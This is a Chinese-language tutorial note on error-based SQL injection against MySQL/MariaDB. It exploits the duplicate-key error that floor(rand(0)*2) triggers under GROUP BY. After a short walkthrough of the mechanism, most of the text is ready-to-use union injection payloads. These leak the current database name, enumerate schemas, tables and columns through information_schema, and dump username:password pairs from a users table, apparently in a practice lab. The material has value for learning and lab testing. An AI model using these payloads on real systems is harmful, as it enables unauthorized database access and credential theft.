利用groupby + rand的特性进行报错注入
rand()
rand()中可添加参数作为随机种子,一边为时间
如果种子是固定的,产生的随机数也是固定的
1 | select rand(0) from users; |
floor()
向下取整
这样会使得floor(rand(0)*2)
的值固定:
1 | MariaDB [security]> select floor(rand(0)*2) from users; |
group by
group by 会对相同的内容进行分组,然后再进行排序:
1 | MariaDB [test]> select name n,score s from ScoreTable group by s; |
count(*)
能够进行计数:
例如:
1 | +----------+-----+ |
此时:
1 | select count(*), score from ScoreTable group by score; |
此时count(*)就是对每个分数的人计数
rand + floor + group by 注入
利用:
1 | select count(*) from users group by floor(rand(0)*2); |
原理分析:
1 | +------------------+ |
建表:
key | count |
---|---|
此时执行floor(rand(0)*2)
,发现结果是0,查表发现没有0
,于是再计算一次floor(rand(0)*2)
,然后将结果1
写入表中:
key | count |
---|---|
1 | 1 |
然后再次计算,算得是1,此时发现有key,计数器+1,此时变成了:
key | count |
---|---|
1 | 2 |
然后再次计算,算得为0,发现没有数据;然后再次计算,算得为1,此时再次计算后需要插入新数值,但是key=1
此时已经存在了,所以此时就会报错
payload:
1 | id='1' union select 1,count(*),concat(database(),"=",floor(rand(0)*2)) as x from information_schema.tables group by x #' |
爆库:
1 | -1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
或者:
1 | ?id=1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),"~",floor(rand(0)*2)) as x group by x; |
反正没有group_concat就用limit
爆表:
1 | -1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
爆列,只需将上面的table_name改为column_name
information_schema.tables改为columns
爆内容:
1 | 1' union select 1,count(*),concat((select concat_ws(':',username,password) from security.users limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
注意,因为该语句将输出字符长度限制为了64个字符,所以这里利用limit代替group_concat